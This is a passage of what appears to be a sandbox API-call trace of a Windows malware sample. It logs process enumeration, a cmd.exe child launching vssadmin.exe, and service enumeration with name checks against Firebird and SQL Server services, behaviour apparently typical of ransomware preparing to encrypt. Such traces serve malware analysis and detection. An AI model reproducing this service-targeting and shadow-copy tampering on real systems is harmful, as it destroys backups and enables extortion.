pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0210.169] lstrlenW (lpString="taskhost.exe") returned 12 [0210.170] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.170] lstrlenW (lpString="svchost.exe") returned 11 [0210.171] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0210.171] lstrlenW (lpString="taskeng.exe") returned 11 [0210.171] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0210.172] lstrlenW (lpString="taskhost.exe") returned 12 [0210.172] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0210.173] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0210.173] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0210.174] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0210.174] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0210.175] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0210.175] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0210.176] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0210.176] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0210.177] lstrlenW (lpString="always_winds.exe") returned 16 [0210.177] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0210.178] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0210.178] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0210.179] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0210.179] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0210.180] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0210.180] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0210.181] lstrlenW (lpString="alienwed.exe") returned 12 [0210.181] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0210.182] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0210.182] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0210.183] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0210.183] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0210.184] lstrlenW (lpString="mp beginners.exe") returned 16 [0210.184] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0210.185] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0210.185] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0210.186] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0210.186] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0210.187] lstrlenW (lpString="harassment.exe") returned 14 [0210.187] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0210.188] lstrlenW (lpString="francis-communication.exe") returned 25 [0210.188] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0210.189] lstrlenW (lpString="gccinformational.exe") returned 20 [0210.189] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0210.208] lstrlenW (lpString="diploma.exe") returned 11 [0210.208] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0210.209] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0210.209] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0210.210] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0210.210] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.212] lstrlenW (lpString="svchost.exe") returned 11 [0210.212] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0210.214] lstrlenW (lpString="sppsvc.exe") returned 10 [0210.214] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.216] lstrlenW (lpString="svchost.exe") returned 11 [0210.217] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0210.218] lstrlenW (lpString="qnuriy.exe") returned 10 [0210.218] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0210.218] lstrlenW (lpString="cmd.exe") returned 7 [0210.219] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0210.219] lstrlenW (lpString="conhost.exe") returned 11 [0210.219] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0210.220] lstrlenW (lpString="vssadmin.exe") returned 12 [0210.220] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0210.221] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0210.221] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0210.419] lstrlenW (lpString="VSSVC.exe") returned 9 [0210.419] Process32NextW (in: hSnapshot=0x17c, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0210.419] CloseHandle (hObject=0x17c) returned 1 [0210.419] Sleep (dwMilliseconds=0x1f4) [0210.966] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x570150 [0210.966] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0210.967] GetLastError () returned 0xea [0210.967] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x13a6) returned 0x3f06078 [0210.967] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f06078, cbBufSize=0x13a6, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f06078, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0210.967] CloseServiceHandle (hSCObject=0x570150) returned 1 [0210.968] lstrlenW (lpString="Appinfo") returned 7 [0210.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0210.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0210.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0210.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0210.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0210.968] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0210.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.968] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0210.968] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0210.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0210.968] lstrlenW (lpString="AudioSrv") returned 8 [0210.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0210.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0210.968] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0210.968] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0210.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0210.968] lstrlenW (lpString="BFE") returned 3 [0210.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0210.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0210.968] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0210.968] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0210.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0210.968] lstrlenW (lpString="CryptSvc") returned 8 [0210.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0210.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0210.968] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0210.968] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0210.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0210.969] lstrlenW (lpString="CscService") returned 10 [0210.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0210.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0210.969] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0210.969] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0210.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0210.969] lstrlenW (lpString="DcomLaunch") returned 10 [0210.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0210.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0210.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0210.969] lstrlenW (lpString="Dhcp") returned 4 [0210.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0210.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0210.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0210.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0210.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0210.969] lstrlenW (lpString="Dnscache") returned 8 [0210.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0210.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0210.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0210.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0210.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0210.969] lstrlenW (lpString="DPS") returned 3 [0210.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0210.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0210.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0210.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0210.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0210.970] lstrlenW (lpString="eventlog") returned 8 [0210.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0210.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0210.970] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0210.970] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0210.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0210.970] lstrlenW (lpString="EventSystem") returned 11 [0210.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0210.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0210.970] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0210.970] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0210.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0210.970] lstrlenW (lpString="FontCache") returned 9 [0210.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0210.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0210.970] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0210.970] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0210.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0210.970] lstrlenW (lpString="gpsvc") returned 5 [0210.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0210.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0210.970] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0210.970] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0210.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0210.970] lstrlenW (lpString="iphlpsvc") returned 8 [0210.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0210.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0210.971] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0210.971] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0210.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0210.971] lstrlenW (lpString="LanmanServer") returned 12 [0210.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0210.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0210.971] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0210.971] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0210.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0210.971] lstrlenW (lpString="LanmanWorkstation") returned 17 [0210.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0210.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0210.971] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0210.971] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0210.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0210.971] lstrlenW (lpString="lmhosts") returned 7 [0210.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0210.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0210.971] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0210.971] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0210.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0210.971] lstrlenW (lpString="MMCSS") returned 5 [0210.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0210.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0210.971] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0210.971] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0210.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0210.971] lstrlenW (lpString="MpsSvc") returned 6 [0210.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0210.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0210.972] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0210.972] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0210.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0210.972] lstrlenW (lpString="Netman") returned 6 [0210.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0210.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0210.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0210.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0210.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0210.972] lstrlenW (lpString="netprofm") returned 8 [0210.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0210.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0210.972] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0210.972] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0210.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0210.972] lstrlenW (lpString="NlaSvc") returned 6 [0210.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0210.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0210.972] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0210.972] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0210.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0210.972] lstrlenW (lpString="nsi") returned 3 [0210.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0210.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0210.972] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0210.972] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0210.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0210.973] lstrlenW (lpString="PcaSvc") returned 6 [0210.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0210.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0210.973] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0210.973] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0210.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0210.973] lstrlenW (lpString="PlugPlay") returned 8 [0210.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0210.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0210.973] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0210.973] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0210.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0210.973] lstrlenW (lpString="Power") returned 5 [0210.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0210.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0210.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0210.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0210.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0210.973] lstrlenW (lpString="ProfSvc") returned 7 [0210.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0210.973] lstrcmpiW 